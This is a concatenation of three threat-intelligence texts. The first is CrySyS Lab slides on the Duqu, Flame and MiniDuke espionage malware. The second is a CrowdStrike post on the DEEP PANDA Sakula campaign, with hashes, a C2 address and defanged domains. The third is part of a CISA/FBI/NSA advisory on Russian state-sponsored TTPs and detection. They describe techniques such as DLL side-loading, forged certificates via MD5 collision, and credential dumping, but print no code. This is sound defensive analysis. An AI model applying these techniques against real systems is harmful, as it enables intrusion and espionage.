7 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Outline some personal experience with sophisticated malware used in targeted attacks lessons learned in these experiences challenges for the security research community 8 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Duqu (2011) 9 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 10 Summary of contributions discovery, naming, and first analysis of Duqu creates files with names starting with DQ striking similarities to Stuxnet, but different objective advanced cyber espionage tool (keystrokes, screen shots, files) 60-page report shared with major AV vendors and Microsoft 20 known victims, mainly in Iran, but also in Europe identification of the dropper MS Word document with a 0-day Windows kernel exploit anonymization of the dropper before sharing with Microsoft development of the Duqu Detector Toolkit focus on heuristic behavior based detection detects live Duqu instances and remains of earlier infections also detects Stuxnet open-source distribution (to be usable in critical infrastructures) 12000 downloads from 150 countries Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 11 Duqu components identified Keylogger Registry data Registry data jminet7.sys (loader) cmi4432.sys (loader) netp191.pnf (payload) netp192.pnf (config) cmi4432.pnf (payload) cmi4464.pnf (config) nep191_ res302.dll netp191.zdata.
mz cmi4432_ res302.dll cmi4432_ 203627 (exe?)
(
comm module) internal DLL (keylogger) Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Static analysis of binaries 12 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 13 Duqu  jminet7 driver structure Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 14 Duqu  netp191 main module uncompressed Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 15 Similarity to Stuxnet Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 16 Duqu Detector Toolkit instead of signature based identification, focus on behavior based anomaly detection e.g., PNF files without corresponding INF files detection of encrypted components and registry entries false positives are acceptable, given the critical nature of potential targets simple components (tools) provided in C source code evaluation results detect Duqu and Stuxnet.
A low number of false positive alarms the toolkit has been downloaded from more than 12000 distinct IP addresses distributed over 150 countries Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 17 How could Duqu have been detected?
manual inspection of the system status multiple running instances of lsass.exe suspicious function calls into sortEA74.nls in the stack trace of a malicious lsass instance (checked with Sysinternals Process Monitor) by checking the bootlog, one can figure out that the parent process of lsass.exe is svchost.exe, whose parent process is services.exe, which injects code into lsass.exe, alg.exe, imapi.exe, spoolsv.exe and other svchost.exe instances we also tested the hook detection performance of 40 freely available rootkit detection tools on Duqu infected computers several tools identified anomalies that would be very suspicious for a knowledgeable system administrator Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 18 Hook detection results Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu The Duqu experience we have never done this sort of work before no hands-on experience with state-of-the-art tools (e.g., IDApro) didnt know the information sharing practices in the AV industry not sure about our expected role given the supposed creator(s) and purpose of Duqu we worked under extreme time pressure Luck favors the prepared mind (Pasteur) increased visibility media coverage invitations to various places and visits of different entities 19 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 20 Flame (aka sKyWIper) (2012) Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 21 Flame (aka sKyWIper) (2012) another info-stealer malware activates microphones and web cam logs key strokes takes screen shots extracts geolocation data from images sends and receives commands and data through Bluetooth data saved in SQL databases data transport via network connections and USB pen drive infects computers by masquerading as a proxy for Windows update uses a fake certificate that looks like a valid Microsoft certificate needed advanced collision attack on the MD5 hash function thousands of victims, mostly in Iran, Israel (Palestine territories), and Sudan, but also in Hungary Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Flame vs. Duqu (Stuxnet) Flame is a platform different form Duqu (and Stuxnet) larger code size use of Lua scripting language use of SQLite databases larger CC infrastructure CC servers run different OS (Ubuntu vs. CentOS Linux) they may be two implementations for the same requirement specification developed by two different teams the two teams may not be independent Kaspersky researchers found chunks of code from a 2009 Stuxnet variant inside Flame CrySyS Lab identified an encryption routine that is the same in Flame and Stuxnet 22 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 23 The fake certificate used by Flame looks valid chains up to the MS root can be used for code signing Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 24 MD5 collision attack figure taken from a presentation of Alex Sotirov Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 25 Rapid SSL attack in 2008 collaboration of hackers and academics led by Alex Sotirov and Marc Stevens demonstrated a practical MD5 collision attack against the RapidSSL CA resulted in a fake SSL certificate trusted by all browsers generating a collision required 2 days on a cluster of 200 PS3s equivalent to about 20K computing capacity on Amazon EC2 source: presentation of Alex Sotirov Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 26 Challenges for the attackers serial number and validity values are not controlled by the attacker they depend on the issue time of the certificate the attackers needed to get the certificate issued at the right moment (matching the preset serial number and validity) they had a 1-millisecond window to submit their query probably large number of attempts were required questions Did the attackers have a fast collision generation algorithm or a large cluster for computations?
Were they located close to Microsofts certificate server to minimize packet jitter?
Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu MiniDuke (February 2013) targeted multiple government entities and human right organisations governmental victims have been identified in Ukraine, Belgium, Portugal, Romania, the Czech Republic, and Ireland uses targeted pdf documents as droppers exploits the Acrobat Reader 0-day vulnerability that was published by FireEye on February 12, 2013 drops a highly customized backdoor written in assembly language very small in size (only 20kb) and unique for all victims this backdoor uses Twitter and Google to locate CC servers The weather is good today.
Sunny uriwp07VkkxYt3Mne5uiDkz4Il/Iw48Ge/EWg downloads stage 2 and 3 codes from CC server disguised as GIF files 27 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Lessons learned current practice to defend systems against targeted attacks have limitations Duqu, Flame, and MiniDuke passed signature based virus scanners code signing did not help either compromised signature key in case of Duqu (and Stuxnet) fake certificate for signature verification key in case of Flame the attackers are in possession of advanced cryptographic knowledge MD5 collision attack in Flame vigilant system administrators could detect advanced attacks with simple approaches and available tools manual inspection of system status, resource usage, and bootlog available rootkit detector tools 28 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Lessons learned mainstream security products are bypassed by attackers McAfee, TrendMicro, Sysinternals tools failed to detect Duqu and Flame attackers can fine-tune their code until it pass mainstream products information sharing is crucial for identification of droppers (and potentially 0-day exploits) we played the role of a trusted mediator between Microsoft and the Duqu victim this led to efficient handling of the incident and the discovery of a 0-day Windows kernel exploit unlike in our case, security vendors are often unable to obtain forensics information even when their product detected infection droppers of Flame?
29 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Challenge 1: Prevention signature based scanning does not work assumes that AV company already detected the threat before it affects the user not true for targeted attacks (you may be the first and only victim) polymorphism allows for individualized malware samples attacker can test AV products available on the market on-the-fly dynamic analysis of behavior?
open document / download web page in closely monitored virtual machine examples: FireEye, LastLine problems: malware can detect the virtualized environment ensuring transparency is very difficult sandboxing and virtualization?
create isolated execution environments and monitor accesses through their boundary to system resources examples: Java VM, VMware, VirtualBox, Bromium vSentry, Qubes OS problems: usability, convenience, and performance issues 30 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Challenge 2: Fast detection determined and resourceful attackers will eventually succeed in compromising any system detection of being compromised can focus on lateral movement, CC communications, and data exfiltration Security Information and Event Management (SIEM) systems?
collect and correlate event logs raise alarms problems: false positives need expert knowledge to configure properly defender can also take advantage of the home ground can use traps and baits to mislead the attacker examples: honeypots and honeytokens also allow for observation of attacker activities, tools, and tactics problems: management of honeypots and honeytokens can be cumbersome is this only a question of lacking good management tools?
31 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Challenge 3: Information asymmetry attackers have knowledge on available security tools, and they may also know the security posture of the defender defenders know very little about the attacker how can we decrease this asymmetry?
hide some part of the security posture custom security tools and configurations honeypots and honeytokens could also be used here try to obtain more information about the attacker threat intelligence gathering from different sources client honeypots 32 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Challenge 4: Information sharing victims of attacks are reluctant to share incident information and forensics material privacy issues, sensitive company related information security vendors could collect lot of information on potential new threats e.g., silent detection by AV vendors, Cisco SenderBase, cloud based protection by SIEM vendors, ... but security vendors may not want to share their collected intelligence to preserve market advantage standards for exchange of incident data are emerging STIX - Structured Threat Information Expression TAXII - Trusted Automated Exchange of Indicator Information legal issues may impede data sharing incident reports, traffic logs, DNS data include personally identifiable information 33 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Challenge 5: Lack of good experts a good expert knows about old tricks and new trends in cyber attacks knows the systems and networks he is responsible for can use and configure available security tools can select new security tools to buy has time to look into the tools output better education, training, simulation exercises are needed 34 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 35 Questions?
Dr. Levente Buttyn CrySyS Lab, Budapest contact info: www.crysys.hu
I am Ironman: DEEP PANDA Uses Sakula Malware to Target Organizations in Multiple Sectors Over the last few months, the CrowdStrike Intelligence team has been tracking a campaign of highly targeted events focused on entities in the U.S. Defense Industrial Base (DIB), healthcare, government, and technology sectors.
This campaign infected victims with Sakula malware variants that were signed with stolen certificates.
Investigation into this activity led to associations with the adversary known to CrowdStrike as DEEP PANDA.
On 31 July 2014, an executable was identified, which, at the time, was not detected by any anti-virus products.
When this file was executed, it caused the victim to view a website by using the ShellExecute() API to open a URL.
The sites domain name was meant to spoof that of a site set up to provide information on an alumni event for a U.S university.
This page requested that the visitor download an Adobe-related plugin in order to view the content.
The downloaded plugin file included a variant of Sakula malware.
[
1] The Sakula malware in this campaign utilized the Dynamic Link Library (DLL) side-loading technique most commonly associated with PlugX activity.
In the aforementioned university-related incidents, a legitimate executable named MediaSoft.exe (MD5 hash: d00b3169f45e74bb22a1cd684341b14a) loaded a file named msi.dll (MD5 hash: ae6f33f6cdc25dc4bda24b2bccff79fe), which, in turn, was used to load the Sakula executable (MD5 hash: 0c2674c3a97c53082187d930efb645c2).
This final executable was also signed with a certificate assigned to an organization called DTOPTOOLZ Co., Ltd. Command-and-Control (C2) communications in this incident went directly to IP address 180.210.206.246 a sample GET request is below: Further investigation revealed similar activity stretching back to at least April 2014, when similar TTPs were used to target a healthcare organization and a U.S.-based IT company with high-profile clients in the defense sector.
Two other incidents were also identified in August 2014 targeting a company in the DIB and a Mongolian government entity.
All incidents in this campaign were similar in that they utilized malicious droppers masquerading as installers for legitimate software applications like Adobe Reader, Juniper VPN, and Microsoft ActiveX Control.
They display progress bars that make it appear as if the specified software is being updated or installed.
http://blog.crowdstrike.com/wp-content/uploads/2014/11/Sakula-GET.jpg Example of Installer Progress Bar Displayed by Dropper In addition, the droppers all directed victims to login pages for services specific to the target organization like webmail, document sharing, or corporate VPN.
In all cases except one, the victims were directed to legitimate login pages.
The one exception was a case in which victims were sent to a login page hosted on a domain that spoofed that of the legitimate one.
It is unclear whether redirecting victims to these login pages was part of credential-collection activity or merely meant to deceive victims into believing that the activity was legitimate.
http://blog.crowdstrike.com/wp-content/uploads/2014/11/juniper.pdf.jpg Example of a Login Page that Victims were Redirected to The campaign appeared to be over by the end of August, but a file was recently discovered that suggests it may be ongoing.
The intended target again appeared to be a Mongolian government entity, and the file masqueraded as an installer for Microsoft ActiveX software.
It dropped the side-loaded Sakula malware just like in the other incidents however, in this instance, the Sakula payload was signed with a certificate assigned to a different organization, Career Credit Co., Ltd.
The malware used the domain www[.
]xha- mster[.
]com for C2 which was created in mid-September and is registered with the email address wendellomyahoo.com and registrant name tonyy starke (hence the name, Ironman-related title for this blog).
Below is a chart showing the relevant relationships to this DEEP PANDA campaign.
http://blog.crowdstrike.com/wp-content/uploads/2014/11/Image2.png The bottom of the chart shows an infrastructure connection between an IP address (198.200.45.112) used this campaign and also used in recently observed DEEP PANDA activity.
Association with Recent Scanbox Activity In September 2014, CrowdStrike Intelligence identified a malicious file signed with the DTOPTOOLZ Co., Ltd. certificate.
Analysis of this file revealed it to be Derusbi malware (a favorite RAT of DEEP PANDA) that used the domain vpn[.]foundationssl[.
]com for its C2.
At the time of discovery, CrowdStrike did not attribute the file to DEEP PANDA based on the malware alone, but the use of the DTOPTOOLZ certificate to sign a malware variant known to be heavily used by this adversary makes it likely that this signed Derusbi sample is also attributable to DEEP PANDA.
In a recent public report from PWC, another foundationssl[.
]com domain was linked to activity involving the Strategic Web Compromise (SWC) framework more commonly known as Scanbox.
In that operation, the Scanbox code was placed on the website of a U.S.-based think tank and utilized the malicious domain, news[.]foundationssl[.
]com.
The use of the two foundationssl[.
]com subdomains suggests that the same adversary (in this case DEEP PANDA) was responsible for the signed Derusbi malware file and the think tank SWC activity.
Furthermore, CrowdStrike publicly reported on DEEP PANDA targeting of think tanks in July 2014.
If you want to hear more about DEEP PANDA and their tradecraft or any of the other adversaries that http://blog.crowdstrike.com/wp-content/uploads/2014/11/Maltego-Blog.jpg http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ CrowdStrike tracks, please contact: salescrowdstrike.com [1] In February 2014, CrowdStrike publicly reported on a campaign that leveraged Sakula malware (http://www.crowdstrike.com/blog/french-connection-french-aerospace-focused-cve-2014-0322-attack- shares-similarities-2012/index.html) however, the Tactics, Techniques, and Procedures (TTPs) between that campaign and this recent one are different, suggesting two distinct adversaries are using the Sakula malware.
Share this - mailto:salescrowdstrike.com http://www.crowdstrike.com/blog/french-connection-french-aerospace-focused-cve-2014-0322-attack-shares-similarities-2012/index.html
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at fbi.gov/contact-us/field, or the FBIs 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatchfbi.gov.
When available, please include the following information regarding the incident: date, time, and location of the incident type of activity number of people affected type of equipment used for the activity the name of the submitting company or organization and a designated point of contact.
To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDeskcisa.dhs.gov.
For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requestsnsa.gov.
This document is marked TLP:WHITE.
Disclosure is not limited.
Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see cisa.gov/tlp/.
TLP:WHITE Product ID: AA22-011A January 11, 2022 Co-Authored by: TLP:WHITE Understanding and Mitigating Russian State- Sponsored Cyber Threats to U.S. Critical Infrastructure SUMMARY This joint Cybersecurity Advisory (CSA)authored by the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA)is part of our continuing cybersecurity mission to warn organizations of cyber threats and help the cybersecurity community reduce the risk presented by these threats.
This CSA provides an overview of Russian state- sponsored cyber operations commonly observed tactics, techniques, and procedures (TTPs) detection actions incident response guidance and mitigations.
This overview is intended to help the cybersecurity community reduce the risk presented by these threats.
CISA, the FBI, and NSA encourage the cybersecurity communityespecially critical infrastructure network defendersto adopt a heightened state of awareness and to conduct proactive threat hunting, as outlined in the Detection section.
Additionally, CISA, the FBI, and NSA strongly urge network defenders to implement the recommendations listed below and detailed in the Mitigations section.
These mitigations will help organizations improve their functional resilience by reducing the risk of compromise or severe business degradation.
Actions critical infrastructure organizations should implement to immediately strengthen their cyber posture.
Patch all systems.
Prioritize patching known exploited vulnerabilities.
Implement multi-factor authentication.
Use antivirus software.
Develop internal contact lists and surge support.
http://www.fbi.gov/contact-us/field mailto:CyWatchfbi.gov mailto:CISAServiceDeskcisa.dhs.gov mailto:Cybersecurity_Requestsnsa.gov http://www.us-cert.gov/tlp/ https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.cisa.gov/known-exploited-vulnerabilities-catalog CISA  FBI  NSA  TLP:WHITE Page 2 of 12    Product ID: AA22-011A TLP:WHITE 1.
Be prepared.
Confirm reporting processes and minimize personnel gaps in IT/OT security coverage.
Create, maintain, and exercise a cyber incident response plan, resilience plan, and continuity of operations plan so that critical functions and operations can be kept running if technology systems are disrupted or need to be taken offline.
2.
Enhance your organizations cyber posture.
Follow best practices for identity and access management, protective controls and architecture, and vulnerability and configuration management.
3.
Increase organizational vigilance.
Stay current on reporting on this threat.
Subscribe to CISAs mailing list and feeds to receive notifications when CISA releases information about a security topic or threat.
CISA, the FBI, and NSA encourage critical infrastructure organization leaders to review CISA Insights: Preparing for and Mitigating Cyber Threats for information on reducing cyber threats to their organization.
TECHNICAL DETAILS Note: this advisory uses the MITRE ATTCK for Enterprise framework, version 10.
See the ATTCK for Enterprise for all referenced threat actor tactics and techniques.
Historically, Russian state-sponsored advanced persistent threat (APT) actors have used common but effective tacticsincluding spearphishing, brute force, and exploiting known vulnerabilities against accounts and networks with weak securityto gain initial access to target networks.
Vulnerabilities known to be exploited by Russian state-sponsored APT actors for initial access include: CVE-2018-13379 FortiGate VPNs CVE-2019-1653 Cisco router CVE-2019-2725 Oracle WebLogic Server CVE-2019-7609 Kibana CVE-2019-9670 Zimbra software CVE-2019-10149 Exim Simple Mail Transfer Protocol CVE-2019-11510 Pulse Secure CVE-2019-19781 Citrix CVE-2020-0688 Microsoft Exchange CVE-2020-4006 VMWare (note: this was a zero-day at time.)
CVE-2020-5902 F5 Big-IP CVE-2020-14882 Oracle WebLogic CVE-2021-26855 Microsoft Exchange (Note: this vulnerability is frequently observed used in conjunction with CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware.
The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environmentsincluding cloud environmentsby using legitimate credentials.
https://public.govdelivery.com/accounts/USDHSUSCERT/subscriber/new https://www.cisa.gov/uscert/mailing-lists-and-feeds https://www.cisa.gov/sites/default/files/publications/CISA_INSIGHTS-Preparing_For_and_Mitigating_Potential_Cyber_Threats-508C.pdf https://attack.mitre.org/versions/v10/matrices/enterprise/ https://nvd.nist.gov/vuln/detail/CVE-2018-13379 https://nvd.nist.gov/vuln/detail/CVE-2019-1653 https://nvd.nist.gov/vuln/detail/CVE-2019-2725 https://nvd.nist.gov/vuln/detail/CVE-2019-7609 https://nvd.nist.gov/vuln/detail/CVE-2019-9670 https://nvd.nist.gov/vuln/detail/CVE-2019-10149 https://nvd.nist.gov/vuln/detail/CVE-2019-11510 https://nvd.nist.gov/vuln/detail/CVE-2019-19781 https://nvd.nist.gov/vuln/detail/CVE-2020-0688 https://nvd.nist.gov/vuln/detail/CVE-2020-4006 https://nvd.nist.gov/vuln/detail/CVE-2020-5902 https://nvd.nist.gov/vuln/detail/CVE-2020-14882 https://nvd.nist.gov/vuln/detail/CVE-2021-26855 https://nvd.nist.gov/vuln/detail/CVE-2021-26857 https://nvd.nist.gov/vuln/detail/CVE-2021-26858 https://nvd.nist.gov/vuln/detail/CVE-2021-27065 CISA  FBI  NSA  TLP:WHITE Page 3 of 12    Product ID: AA22-011A TLP:WHITE In some cases, Russian state-sponsored cyber operations against critical infrastructure organizations have specifically targeted operational technology (OT)/industrial control systems (ICS) networks with destructive malware.
See the following advisories and alerts for information on historical Russian state-sponsored cyber-intrusion campaigns and customized malware that have targeted ICS: ICS Advisory ICS Focused Malware  Havex ICS Alert Ongoing Sophisticated Malware Campaign Compromising ICS (Update E) ICS Alert Cyber-Attack Against Ukrainian Critical Infrastructure Technical Alert CrashOverride Malware CISA MAR HatMan: Safety System Targeted Malware (Update B) CISA ICS Advisory Schneider Electric Triconex Tricon (Update B) Russian state-sponsored APT actors have used sophisticated cyber capabilities to target a variety of U.S. and international critical infrastructure organizations, including those in the Defense Industrial Base as well as the Healthcare and Public Health, Energy, Telecommunications, and Government Facilities Sectors.
High-profile cyber activity publicly attributed to Russian state-sponsored APT actors by U.S. government reporting and legal actions includes: Russian state-sponsored APT actors targeting state, local, tribal, and territorial (SLTT) governments and aviation networks, September 2020, through at least December 2020.
Russian state-sponsored APT actors targeted dozens of SLTT government and aviation networks.
The actors successfully compromised networks and exfiltrated data from multiple victims.
Russian state-sponsored APT actors global Energy Sector intrusion campaign, 2011 to 2018.
These Russian state-sponsored APT actors conducted a multi-stage intrusion campaign in which they gained remote access to U.S. and international Energy Sector networks, deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data.
Russian state-sponsored APT actors campaign against Ukrainian critical infrastructure, 2015 and 2016.
Russian state-sponsored APT actors conducted a cyberattack against Ukrainian energy distribution companies, leading to multiple companies experiencing unplanned power outages in December 2015.
The actors deployed BlackEnergy malware to steal user credentials and used its destructive malware component, KillDisk, to make infected computers inoperable.
In 2016, these actors conducted a cyber-intrusion campaign against a Ukrainian electrical transmission company and deployed CrashOverride malware specifically designed to attack power grids.
For more information on recent and historical Russian state-sponsored malicious cyber activity, see the referenced products below or cisa.gov/Russia.
Joint FBI-DHS-CISA CSA Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders Joint NSA-FBI-CISA CSA Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments https://us-cert.cisa.gov/ics/advisories/ICSA-14-178-01 https://us-cert.cisa.gov/ics/alerts/ICS-ALERT-14-281-01B https://us-cert.cisa.gov/ics/alerts/IR-ALERT-H-16-056-01 https://us-cert.cisa.gov/ncas/alerts/TA17-163A https://us-cert.cisa.gov/ics/MAR-17-352-01-HatMan-Safety-System-Targeted-Malware-Update-B https://us-cert.cisa.gov/ics/advisories/ICSA-18-107-02 https://attack.mitre.org/versions/v10/software/S0089 https://attack.mitre.org/versions/v10/software/S0604 https://www.cisa.gov/uscert/russia https://us-cert.cisa.gov/ncas/alerts/aa21-116a https://us-cert.cisa.gov/ncas/alerts/aa21-116a https://media.defense.gov/2021/jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF https://media.defense.gov/2021/jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF CISA  FBI  NSA  TLP:WHITE Page 4 of 12    Product ID: AA22-011A TLP:WHITE Joint FBI-CISA CSA Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets Joint CISA-FBI CSA APT Actors Chaining Vulnerabilities against SLTT, Critical Infrastructure, and Elections Organizations CISAs webpage Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise CISA Alert Russian Government Cyber Activity Targeting Energy Sector and Other Critical Infrastructure Sectors CISA ICS: Alert Cyber-Attack Against Ukrainian Critical Infrastructure Table 1 provides common, publicly known TTPs employed by Russian state-sponsored APT actors, which map to the MITRE ATTCK for Enterprise framework, version 10.
Note: these lists are not intended to be all inclusive.
Russian state-sponsored actors have modified their TTPs before based on public reporting.
[1] Therefore, CISA, the FBI, and NSA anticipate the Russian state-sponsored actors may modify their TTPs as they deem necessary to reduce their risk of detection.
Table 1: Common Tactics and Techniques Employed by Russian State-Sponsored APT Actors Tactic Technique Procedure Reconnaissance [TA0043] Active Scanning: Vulnerability Scanning [T1595.002] Russian state-sponsored APT actors have performed large- scale scans in an attempt to find vulnerable servers.
Phishing for Information [T1598] Russian state-sponsored APT actors have conducted spearphishing campaigns to gain credentials of target networks.
Resource Development [TA0042] Develop Capabilities: Malware [T1587.001] Russian state-sponsored APT actors have developed and deployed malware, including ICS-focused destructive malware.
Initial Access [TA0001] Exploit Public Facing Applications [T1190] Russian state-sponsored APT actors use publicly known vulnerabilities, as well as zero-days, in internet-facing systems to gain access to networks.
Supply Chain Compromise: Compromise Software Supply Chain [T1195.002] Russian state-sponsored APT actors have gained initial access to victim organizations by compromising trusted third- party software.
Notable incidents include M.E.Doc accounting software and SolarWinds Orion.
Execution [TA0002] Command and Scripting Interpreter: PowerShell [T1059.003] and Russian state-sponsored APT actors have used cmd.exe to execute commands on remote machines.
They have also used PowerShell to create new tasks on remote machines, https://www.cisa.gov/uscert/ncas/alerts/aa20-296a https://www.cisa.gov/uscert/ncas/alerts/aa20-296a https://www.cisa.gov/uscert/ncas/alerts/aa20-283a https://www.cisa.gov/uscert/ncas/alerts/aa20-283a https://us-cert.cisa.gov/remediating-apt-compromised-networks https://us-cert.cisa.gov/remediating-apt-compromised-networks https://us-cert.cisa.gov/ncas/alerts/TA18-074A https://us-cert.cisa.gov/ncas/alerts/TA18-074A https://us-cert.cisa.gov/ics/alerts/ir-alert-h-16-056-01 https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors https://attack.mitre.org/versions/v10/tactics/TA0043/ https://attack.mitre.org/versions/v10/techniques/T1595/002/ https://attack.mitre.org/versions/v10/techniques/T1598 https://attack.mitre.org/versions/v10/tactics/TA0042/ https://attack.mitre.org/versions/v10/techniques/T1587/001 https://attack.mitre.org/versions/v10/tactics/TA0001/ https://attack.mitre.org/versions/v10/techniques/T1190/ https://attack.mitre.org/versions/v10/techniques/T1195/002 https://attack.mitre.org/versions/v10/tactics/TA0002 https://attack.mitre.org/versions/v10/techniques/T1059/003 CISA  FBI  NSA  TLP:WHITE Page 5 of 12    Product ID: AA22-011A TLP:WHITE Tactic Technique Procedure Windows Command Shell [T1059.003] identify configuration settings, exfiltrate data, and to execute other commands.
Persistence [TA0003] Valid Accounts [T1078] Russian state-sponsored APT actors have used credentials of existing accounts to maintain persistent, long-term access to compromised networks.
Credential Access [TA0006] Brute Force: Password Guessing [T1110.001] and Password Spraying [T1110.003] Russian state-sponsored APT actors have conducted brute- force password guessing and password spraying campaigns.
OS Credential Dumping: NTDS [T1003.003] Russian state-sponsored APT actors have exfiltrated credentials and exported copies of the Active Directory database ntds.dit.
Steal or Forge Kerberos Tickets: Kerberoasting [T1558.003] Russian state-sponsored APT actors have performed Kerberoasting, whereby they obtained the Ticket Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking.
Credentials from Password Stores [T1555] Russian state-sponsored APT actors have used previously compromised account credentials to attempt to access Group Managed Service Account (gMSA) passwords.
Exploitation for Credential Access [T1212] Russian state-sponsored APT actors have exploited Windows Netlogon vulnerability CVE-2020-1472 to obtain access to Windows Active Directory servers.
Unsecured Credentials: Private Keys [T1552.004] Russian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates.
Command and Control [TA0011] Proxy: Multi-hop Proxy [T1090.003] Russian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets.
The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic.
For additional enterprise TTPs used by Russian state-sponsored APT actors, see the ATTCK for Enterprise pages on APT29, APT28, and the Sandworm Team, respectively.
For information on ICS https://attack.mitre.org/versions/v10/techniques/T1059/003 https://attack.mitre.org/versions/v10/tactics/TA0003 https://attack.mitre.org/versions/v10/techniques/T1078/ https://attack.mitre.org/versions/v10/tactics/TA0006 https://attack.mitre.org/versions/v10/techniques/T1110/001 https://attack.mitre.org/versions/v10/techniques/T1110/003 https://attack.mitre.org/versions/v10/techniques/T1003/003/ https://attack.mitre.org/versions/v10/techniques/T1558/003/ https://attack.mitre.org/versions/v10/techniques/T1555 https://attack.mitre.org/versions/v10/techniques/T1212 https://nvd.nist.gov/vuln/detail/CVE-2020-1472 https://attack.mitre.org/versions/v10/techniques/T1552/004 https://attack.mitre.org/versions/v10/tactics/TA0011/ https://attack.mitre.org/versions/v10/techniques/T1090/003/ https://attack.mitre.org/versions/v10/groups/G0016 https://attack.mitre.org/versions/v10/groups/G0007 https://attack.mitre.org/versions/v10/groups/G0034 CISA  FBI  NSA  TLP:WHITE Page 6 of 12    Product ID: AA22-011A TLP:WHITE TTPs see the ATTCK for ICS pages on the Sandworm Team, BlackEnergy 3 malware, CrashOveride malware, BlackEnergys KillDisk component, and NotPetya malware.
DETECTION Given Russian state-sponsored APT actors demonstrated capability to maintain persistent, long-term access in compromised enterprise and cloud environments, CISA, the FBI, and NSA encourage all critical infrastructure organizations to: Implement robust log collection and retention.
Without a centralized log collection and monitoring capability, organizations have limited ability to investigate incidents or detect the threat actor behavior described in this advisory.
Depending on the environment, examples include: o Native tools such as M365s Sentinel.
o Third-party tools, such as Sparrow, Hawk, or CrowdStrikes Azure Reporting Tool (CRT), to review Microsoft cloud environments and to detect unusual activity, service principals, and application activity.
Note: for guidance on using these and other detection tools, refer to CISA Alert Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments.
Look for behavioral evidence or network and host-based artifacts from known Russian state-sponsored TTPs.
See table 1 for commonly observed TTPs.
o To detect password spray activity, review authentication logs for system and application login failures of valid accounts.
Look for multiple, failed authentication attempts across multiple accounts.
o To detect use of compromised credentials in combination with a VPS, follow the below steps: Look for suspicious impossible logins, such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected users geographic location.
